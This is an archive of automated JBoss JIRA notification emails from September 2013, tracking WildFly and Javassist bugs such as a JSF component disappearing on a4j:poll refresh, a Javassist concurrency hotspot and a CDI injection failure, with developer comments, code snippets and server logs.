Date: Tue, 3 Sep 2013 13:36:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1981) JSF component disappears on
 refresh using a4j:poll
In-Reply-To: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499779.1378159247000.6862.1378229764454@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1981?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801274#comment-12801274 ] 

Stan Silvert commented on WFLY-1981:
------------------------------------

I agree it's probably more likely to be JSF than Undertow.

Frank, your project doesn't build and the war in the build directory doesn't deploy.

But first, let's try to isolate which, if any, JSF version causes the problem.  You can test this out on your box.  I'm attaching a multi-jsf installer for Mojarra 2.1.19, which is the version that ships with AS7.2/EAP6.1.  It installs on wildfly-8.0.0.Beta1-SNAPSHOT.  With this you'll be able to easily switch back and forth between JSF versions.

I'm guessing that the actual problem is with JSF 2.2 in general.  I don't think that RichFaces is updated to work with that yet.
                
> JSF component disappears on refresh using a4j:poll
> --------------------------------------------------
>
>                 Key: WFLY-1981
>                 URL: https://issues.jboss.org/browse/WFLY-1981
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Stan Silvert
>         Attachments: Jira-WFLY-UT.tar, xaa, xab, xac
>
>
> On some of my pages I'm using richfaces a4j:poll to refresh components regularly. The components refreshed is an openfaces datatable.
> This does not work with WildFly build from current sources.
> Same code works with JBoss AS 7.20. So problem is not related to richfaces or openfaces for me. Probably related to replacement of jboss-web with undertow.
> I'll attach a small project showing the problem.
> The mojarra datatable works fine, is refreshed every 10 seconds.
> The openfaces datatable below disappears on first refresh.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 13:38:03 2013
From: jira-events at lists.jboss.org (Stan Silvert (JIRA))
Date: Tue, 3 Sep 2013 13:38:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1981) JSF component disappears on
 refresh using a4j:poll
In-Reply-To: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499779.1378159247000.6867.1378229883563@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1981?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Stan Silvert updated WFLY-1981:
-------------------------------

    Attachment: install-mojarra-2.1.19.cli

    
> JSF component disappears on refresh using a4j:poll
> --------------------------------------------------
>
>                 Key: WFLY-1981
>                 URL: https://issues.jboss.org/browse/WFLY-1981
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Stan Silvert
>         Attachments: install-mojarra-2.1.19.cli, Jira-WFLY-UT.tar, xaa, xab, xac
>
>
> On some of my pages I'm using richfaces a4j:poll to refresh components regularly. The components refreshed is an openfaces datatable.
> This does not work with WildFly build from current sources.
> Same code works with JBoss AS 7.20. So problem is not related to richfaces or openfaces for me. Probably related to replacement of jboss-web with undertow.
> I'll attach a small project showing the problem.
> The mojarra datatable works fine, is refreshed every 10 seconds.
> The openfaces datatable below disappears on first refresh.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 13:40:03 2013
From: jira-events at lists.jboss.org (Stan Silvert (JIRA))
Date: Tue, 3 Sep 2013 13:40:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1981) JSF component disappears on
 refresh using a4j:poll
In-Reply-To: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499779.1378159247000.6876.1378230003716@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1981?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801277#comment-12801277 ] 

Stan Silvert commented on WFLY-1981:
------------------------------------

BTW, to use the installer, go to CLI and execute

[standalone at localhost:9990 /] deploy <mypath>/install-mojarra-2.1.19.cli

Also, see https://community.jboss.org/wiki/DesignOfWildFlyMulti-JSFFeature for instructions on changing the default JSF implementation.
                
> JSF component disappears on refresh using a4j:poll
> --------------------------------------------------
>
>                 Key: WFLY-1981
>                 URL: https://issues.jboss.org/browse/WFLY-1981
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Stan Silvert
>         Attachments: install-mojarra-2.1.19.cli, Jira-WFLY-UT.tar, xaa, xab, xac
>
>
> On some of my pages I'm using richfaces a4j:poll to refresh components regularly. The components refreshed is an openfaces datatable.
> This does not work with WildFly build from current sources.
> Same code works with JBoss AS 7.20. So problem is not related to richfaces or openfaces for me. Probably related to replacement of jboss-web with undertow.
> I'll attach a small project showing the problem.
> The mojarra datatable works fine, is refreshed every 10 seconds.
> The openfaces datatable below disappears on first refresh.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 13:48:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 13:48:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JASSIST-163) RuntimeSupport.find2Methods
 a perf hotspot when proxy's methods are called at higher concurrency
In-Reply-To: <JIRA.12462896.1333114028000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12462896.1333114028000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12462896.1333114028000.6908.1378230483899@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JASSIST-163?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801282#comment-12801282 ] 

RH Bugzilla Integration commented on JASSIST-163:
-------------------------------------------------

Paul Gier <pgier at redhat.com> changed the Status of [bug 900690|https://bugzilla.redhat.com/show_bug.cgi?id=900690] from ASSIGNED to MODIFIED
                
> RuntimeSupport.find2Methods a perf hotspot when proxy's methods are called at higher concurrency
> ------------------------------------------------------------------------------------------------
>
>                 Key: JASSIST-163
>                 URL: https://issues.jboss.org/browse/JASSIST-163
>             Project: Javassist
>          Issue Type: Enhancement
>    Affects Versions: 3.15.0-GA, 3.16.1-GA
>         Environment: hibernate-core 3.6.10.Final
>            Reporter: Nikita Tovstoles
>            Assignee: Shigeru Chiba
>             Fix For: 3.17.0-GA
>
>         Attachments: Bean_$$_bulkaccess_0.txt, Bean_$$_bulkaccess_0_Two.txt, blocked-threads.png, BulkAccessorFactory.java.diff, BulkAccessorFactory.java.diff2, BulkAccessorFactory.patch, find2methods-hotspot.png, jassist-163-fix.patch, monitor-backtraces.png, monitor-backtraces.png, Product.java, Product_$$_javassist_0-post-patch.java, Product_$$_javassist_0.java, Tomcat-2012-03-28(2).zip
>
>
> We've been profiling our Hibernate 3.6.10-based app and noticed a perf bottleneck in javassist.util.proxy.RuntimeSupport.find2methods. Unfortunately, this method, which has a synch. block, is being called on
> every invocation of every proxied entity method (see javassist.util.proxy.ProxyFactory.makeForwarder(), called indirectly by
> ProxyFactory.createClass()).
> In our testing, the result is that our service call's latency increases from 33 to 55, 260, 400ms as concurrency increases
> 1-10-20-30 users on a 4-core CPU. At 20 and 30 users 51% of CPU time is spent contending for a monitor in RuntimeSupport.find2methods:
> {code}
>         synchronized (methods) {
>             if (methods[index] == null) {
>                 methods[index + 1] = thisMethod == null ? null
>                                      : findMethod(self, thisMethod, desc);
>                 methods[index] = findSuperMethod(self, superMethod, desc);
>             }
>         }
> {code} 
> Since find2methods merely interrogates class metadata, seems like its return values should be cached (in a ConcurrentMap?) instead of repeatedly executing the above synchronized statement. Instead, currently, it's being called every time (?) a proxied method is executed - see *Invocation Count* in this screen shot:
> https://issues.jboss.org/secure/attachment/12353025/monitor-backtraces.png
> Full [YourKit profile|http://yourkit.com] is [attached as a ZIP archive|^Tomcat-2012-03-28(2).zip]; key screen shots from the snapshot also attached separately

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 13:48:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 13:48:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JASSIST-163) RuntimeSupport.find2Methods
 a perf hotspot when proxy's methods are called at higher concurrency
In-Reply-To: <JIRA.12462896.1333114028000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12462896.1333114028000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12462896.1333114028000.6911.1378230483989@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JASSIST-163?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801284#comment-12801284 ] 

RH Bugzilla Integration commented on JASSIST-163:
-------------------------------------------------

Paul Gier <pgier at redhat.com> made a comment on [bug 900690|https://bugzilla.redhat.com/show_bug.cgi?id=900690]

Changing state to MODIFIED because the issue has been fixed in the component (Javassist).  Created bug 1004020 to track merging the upgrade into EAP sources.
                
> RuntimeSupport.find2Methods a perf hotspot when proxy's methods are called at higher concurrency
> ------------------------------------------------------------------------------------------------
>
>                 Key: JASSIST-163
>                 URL: https://issues.jboss.org/browse/JASSIST-163
>             Project: Javassist
>          Issue Type: Enhancement
>    Affects Versions: 3.15.0-GA, 3.16.1-GA
>         Environment: hibernate-core 3.6.10.Final
>            Reporter: Nikita Tovstoles
>            Assignee: Shigeru Chiba
>             Fix For: 3.17.0-GA
>
>         Attachments: Bean_$$_bulkaccess_0.txt, Bean_$$_bulkaccess_0_Two.txt, blocked-threads.png, BulkAccessorFactory.java.diff, BulkAccessorFactory.java.diff2, BulkAccessorFactory.patch, find2methods-hotspot.png, jassist-163-fix.patch, monitor-backtraces.png, monitor-backtraces.png, Product.java, Product_$$_javassist_0-post-patch.java, Product_$$_javassist_0.java, Tomcat-2012-03-28(2).zip
>
>
> We've been profiling our Hibernate 3.6.10-based app and noticed a perf bottleneck in javassist.util.proxy.RuntimeSupport.find2methods. Unfortunately, this method, which has a synch. block, is being called on
> every invocation of every proxied entity method (see javassist.util.proxy.ProxyFactory.makeForwarder(), called indirectly by
> ProxyFactory.createClass()).
> In our testing, the result is that our service call's latency increases from 33 to 55, 260, 400ms as concurrency increases
> 1-10-20-30 users on a 4-core CPU. At 20 and 30 users 51% of CPU time is spent contending for a monitor in RuntimeSupport.find2methods:
> {code}
>         synchronized (methods) {
>             if (methods[index] == null) {
>                 methods[index + 1] = thisMethod == null ? null
>                                      : findMethod(self, thisMethod, desc);
>                 methods[index] = findSuperMethod(self, superMethod, desc);
>             }
>         }
> {code} 
> Since find2methods merely interrogates class metadata, seems like its return values should be cached (in a ConcurrentMap?) instead of repeatedly executing the above synchronized statement. Instead, currently, it's being called every time (?) a proxied method is executed - see *Invocation Count* in this screen shot:
> https://issues.jboss.org/secure/attachment/12353025/monitor-backtraces.png
> Full [YourKit profile|http://yourkit.com] is [attached as a ZIP archive|^Tomcat-2012-03-28(2).zip]; key screen shots from the snapshot also attached separately

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 14:01:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 14:01:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1960) CDI @Inject of @Stateless
 @WebService cause WELD-001408 Unsatisfied dependencies
In-Reply-To: <JIRA.12499428.1377603560000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499428.1377603560000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499428.1377603560000.6930.1378231264489@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1960?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

RH Bugzilla Integration updated WFLY-1960:
------------------------------------------

        Bugzilla Update: Perform
    Bugzilla References: https://bugzilla.redhat.com/show_bug.cgi?id=1001610

    
> CDI @Inject of @Stateless @WebService cause WELD-001408 Unsatisfied dependencies
> --------------------------------------------------------------------------------
>
>                 Key: WFLY-1960
>                 URL: https://issues.jboss.org/browse/WFLY-1960
>             Project: WildFly
>          Issue Type: Bug
>          Components: CDI / Weld, EJB, Web Services
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Aslak Knutsen
>            Assignee: Jozef Hartinger
>
> CDI @Inject of @WebService does not work. 
> {code}
> import javax.ejb.Stateless;
> import javax.jws.WebService;
>  
> @Stateless
> @WebService
> public class TestBean {
> }
>  
>  
> import javax.inject.Inject;
>  
> import org.jboss.arquillian.container.test.api.Deployment;
> import org.jboss.arquillian.junit.Arquillian;
> import org.jboss.shrinkwrap.api.ShrinkWrap;
> import org.jboss.shrinkwrap.api.asset.EmptyAsset;
> import org.jboss.shrinkwrap.api.spec.WebArchive;
> import org.junit.Test;
> import org.junit.runner.RunWith;
>  
>  
> @RunWith(Arquillian.class)
> public class TestBeanIT {
>  
>     @Inject
>     TestBean bean;
>  
>     @Deployment
>     public static WebArchive createDeployment() {
>         WebArchive arch =  ShrinkWrap.create(WebArchive.class);
>         arch.addClass(TestBean.class);
>         arch.addAsWebInfResource(EmptyAsset.INSTANCE, "beans.xml");
>         return arch;
>     }
>  
>     @Test
>     public void fooTest() throws Exception {
>  
>     }
> }
> {code}
> Using CDI to do a non contextual injection on a class where @EJB is used instead of @Inject works.
> {code}
> @RunWith(Arquillian.class)
> public class TestBeanIT {
>  
>     @EJB
>     TestBean bean;
>     ...
> }
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 14:43:04 2013
From: jira-events at lists.jboss.org (Frank Langelage (JIRA))
Date: Tue, 3 Sep 2013 14:43:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1981) JSF component disappears on
 refresh using a4j:poll
In-Reply-To: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499779.1378159247000.6972.1378233784113@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1981?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801298#comment-12801298 ] 

Frank Langelage commented on WFLY-1981:
---------------------------------------

I succeeded to get this running.
After downloading jaf-api-1.1.19.jar, jsf-impl-2.1.19.jar, weld-core-jsf-2.0.3.Final and copying wildfly-jsf-injection-8.0.0.Beta1-SNAPSHOT.jar to the same directory as the cli file.
And it needed a server restart to get enabled.

I can see that my test web app is using Mojarra 2.1.19 now and, surprise, with this version it's working.

                
> JSF component disappears on refresh using a4j:poll
> --------------------------------------------------
>
>                 Key: WFLY-1981
>                 URL: https://issues.jboss.org/browse/WFLY-1981
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Stan Silvert
>         Attachments: install-mojarra-2.1.19.cli, Jira-WFLY-UT.tar, xaa, xab, xac
>
>
> On some of my pages I'm using richfaces a4j:poll to refresh components regularly. The components refreshed is an openfaces datatable.
> This does not work with WildFly build from current sources.
> Same code works with JBoss AS 7.20. So problem is not related to richfaces or openfaces for me. Probably related to replacement of jboss-web with undertow.
> I'll attach a small project showing the problem.
> The mojarra datatable works fine, is refreshed every 10 seconds.
> The openfaces datatable below disappears on first refresh.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 15:06:03 2013
From: jira-events at lists.jboss.org (Stan Silvert (JIRA))
Date: Tue, 3 Sep 2013 15:06:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1981) JSF component disappears on
 refresh using a4j:poll
In-Reply-To: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499779.1378159247000.6995.1378235163456@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1981?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801300#comment-12801300 ] 

Stan Silvert commented on WFLY-1981:
------------------------------------

So you did it manually without deploying the cli file?  Was something wrong with the cli file?

I'm pretty sure this is a RichFaces/A4J compatibility problem.  I'll reassign and get confirmation.
                
> JSF component disappears on refresh using a4j:poll
> --------------------------------------------------
>
>                 Key: WFLY-1981
>                 URL: https://issues.jboss.org/browse/WFLY-1981
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Stan Silvert
>         Attachments: install-mojarra-2.1.19.cli, Jira-WFLY-UT.tar, xaa, xab, xac
>
>
> On some of my pages I'm using richfaces a4j:poll to refresh components regularly. The components refreshed is an openfaces datatable.
> This does not work with WildFly build from current sources.
> Same code works with JBoss AS 7.20. So problem is not related to richfaces or openfaces for me. Probably related to replacement of jboss-web with undertow.
> I'll attach a small project showing the problem.
> The mojarra datatable works fine, is refreshed every 10 seconds.
> The openfaces datatable below disappears on first refresh.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 15:10:03 2013
From: jira-events at lists.jboss.org (Stan Silvert (JIRA))
Date: Tue, 3 Sep 2013 15:10:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1981) JSF component disappears on
 refresh using a4j:poll
In-Reply-To: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499779.1378159247000.7003.1378235403621@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1981?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Stan Silvert reassigned WFLY-1981:
----------------------------------

    Assignee: Brian Leathem  (was: Stan Silvert)


Brian, what do you think?
                
> JSF component disappears on refresh using a4j:poll
> --------------------------------------------------
>
>                 Key: WFLY-1981
>                 URL: https://issues.jboss.org/browse/WFLY-1981
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Brian Leathem
>         Attachments: install-mojarra-2.1.19.cli, Jira-WFLY-UT.tar, xaa, xab, xac
>
>
> On some of my pages I'm using richfaces a4j:poll to refresh components regularly. The components refreshed is an openfaces datatable.
> This does not work with WildFly build from current sources.
> Same code works with JBoss AS 7.20. So problem is not related to richfaces or openfaces for me. Probably related to replacement of jboss-web with undertow.
> I'll attach a small project showing the problem.
> The mojarra datatable works fine, is refreshed every 10 seconds.
> The openfaces datatable below disappears on first refresh.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 15:14:03 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Tue, 3 Sep 2013 15:14:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1978) undertow endless processing
 of jsp rendering
In-Reply-To: <JIRA.12499721.1377955430000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499721.1377955430000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499721.1377955430000.7007.1378235643421@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1978?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Stuart Douglas resolved WFLY-1978.
----------------------------------

    Fix Version/s: 8.0.0.Beta1
       Resolution: Done

    
> undertow endless processing of jsp rendering
> --------------------------------------------
>
>                 Key: WFLY-1978
>                 URL: https://issues.jboss.org/browse/WFLY-1978
>             Project: WildFly
>          Issue Type: Bug
>          Components: Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Thomas Fr?hbeck
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Beta1
>
>         Attachments: Undertow_servlet_spec_Loop.html.gz
>
>
> a working jsp page takes infinite time to render on some condition - reason unclear.
> Profiler CPU breakdown attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep  3 15:14:03 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Tue, 3 Sep 2013 15:14:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1935) servlet not called on
 overlapping ServletFilter specification in web.xml
In-Reply-To: <JIRA.12499265.1377257251000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499265.1377257251000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499265.1377257251000.7011.1378235643638@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1935?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Stuart Douglas resolved WFLY-1935.
----------------------------------

    Fix Version/s: 8.0.0.Beta1
       Resolution: Done

    
> servlet not called on overlapping ServletFilter specification in web.xml  
> --------------------------------------------------------------------------
>
>                 Key: WFLY-1935
>                 URL: https://issues.jboss.org/browse/WFLY-1935
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Web (Undertow)
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Thomas Fr?hbeck
>            Assignee: Stuart Douglas
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>         Attachments: filter-filter-servlet.zip
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Tue Sep  3 15:23:03 2013
From: jira-events at lists.jboss.org (Frank Langelage (JIRA))
Date: Tue, 3 Sep 2013 15:23:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1981) JSF component disappears on
 refresh using a4j:poll
In-Reply-To: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499779.1378159247000.7032.1378236183567@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1981?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801306#comment-12801306 ] 

Frank Langelage commented on WFLY-1981:
---------------------------------------

When deploying the cli without the mentioned jars in the same dir I get this:
jboss at sb2000:/mbi/tmp $JBOSS_HOME/bin/jboss-cli.sh --controller=localhost:9990 --connect --user=jboss --password=xxxx
[standalone at localhost:9990 /] deploy install-mojarra-2.1.19.cli
Failed to locate /mbi/tmp/jsf-api-2.1.19.jar: Failed to locate /mbi/tmp/jsf-api-2.1.19.jar
...

                
> JSF component disappears on refresh using a4j:poll
> --------------------------------------------------
>
>                 Key: WFLY-1981
>                 URL: https://issues.jboss.org/browse/WFLY-1981
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Brian Leathem
>         Attachments: install-mojarra-2.1.19.cli, Jira-WFLY-UT.tar, xaa, xab, xac
>
>
> On some of my pages I'm using richfaces a4j:poll to refresh components regularly. The components refreshed is an openfaces datatable.
> This does not work with WildFly build from current sources.
> Same code works with JBoss AS 7.20. So problem is not related to richfaces or openfaces for me. Probably related to replacement of jboss-web with undertow.
> I'll attach a small project showing the problem.
> The mojarra datatable works fine, is refreshed every 10 seconds.
> The openfaces datatable below disappears on first refresh.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 15:31:04 2013
From: jira-events at lists.jboss.org (Brian Leathem (JIRA))
Date: Tue, 3 Sep 2013 15:31:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1981) JSF component disappears on
 refresh using a4j:poll
In-Reply-To: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499779.1378159247000.7042.1378236664164@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1981?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801308#comment-12801308 ] 

Brian Leathem commented on WFLY-1981:
-------------------------------------

Could be related to RF-12865.  [~lafr] do you see any errors in the browser console or in the server log?
                
> JSF component disappears on refresh using a4j:poll
> --------------------------------------------------
>
>                 Key: WFLY-1981
>                 URL: https://issues.jboss.org/browse/WFLY-1981
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Brian Leathem
>         Attachments: install-mojarra-2.1.19.cli, Jira-WFLY-UT.tar, xaa, xab, xac
>
>
> On some of my pages I'm using richfaces a4j:poll to refresh components regularly. The components refreshed is an openfaces datatable.
> This does not work with WildFly build from current sources.
> Same code works with JBoss AS 7.20. So problem is not related to richfaces or openfaces for me. Probably related to replacement of jboss-web with undertow.
> I'll attach a small project showing the problem.
> The mojarra datatable works fine, is refreshed every 10 seconds.
> The openfaces datatable below disappears on first refresh.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 15:42:03 2013
From: jira-events at lists.jboss.org (Frank Langelage (JIRA))
Date: Tue, 3 Sep 2013 15:42:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1981) JSF component disappears on
 refresh using a4j:poll
In-Reply-To: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499779.1378159247000.7081.1378237323507@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1981?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801312#comment-12801312 ] 

Frank Langelage commented on WFLY-1981:
---------------------------------------

While deploying I see
21:34:54,068 INFO  [org.jboss.as.server.deployment#start] JBAS015876: Starting deployment of "web.war" (runtime-name: "web.war")
21:34:59,308 INFO  [org.jboss.weld.deployer#deploy] JBAS016002: Processing weld deployment web.war
21:35:00,272 INFO  [org.jboss.weld.deployer#deploy] JBAS016005: Starting Services for CDI deployment: web.war
21:35:00,363 INFO  [org.jboss.weld.deployer#start] JBAS016008: Starting weld service for deployment web.war
21:35:01,492 INFO  [javax.enterprise.resource.webcontainer.jsf.config#contextInitialized] Initializing Mojarra 2.2.2-jbossorg-1 20130814-1231 for context '/web'
21:35:04,881 WARN  [org.jboss.weld.Bean#chooseInjectionTarget] WELD-001529 An InjectionTarget is created for a class org.openfaces.application.OpenFacesApplicationFactory which does not have any appropriate constructor.
21:35:04,898 WARN  [org.jboss.weld.Bean#chooseInjectionTarget] WELD-001529 An InjectionTarget is created for a class org.openfaces.application.ViewExpiredExceptionHandlerFactory which does not have any appropriate constructor.
21:35:04,906 WARN  [org.jboss.weld.Bean#chooseInjectionTarget] WELD-001529 An InjectionTarget is created for a class org.richfaces.context.SkinningExternalContextFactory which does not have any appropriate constructor.
21:35:04,917 WARN  [org.jboss.weld.Bean#chooseInjectionTarget] WELD-001529 An InjectionTarget is created for a class org.richfaces.context.FileUploadFacesContextFactory which does not have any appropriate constructor.
21:35:04,934 WARN  [org.jboss.weld.Bean#chooseInjectionTarget] WELD-001529 An InjectionTarget is created for a class org.openfaces.ajax.PartialViewContextFactory which does not have any appropriate constructor.
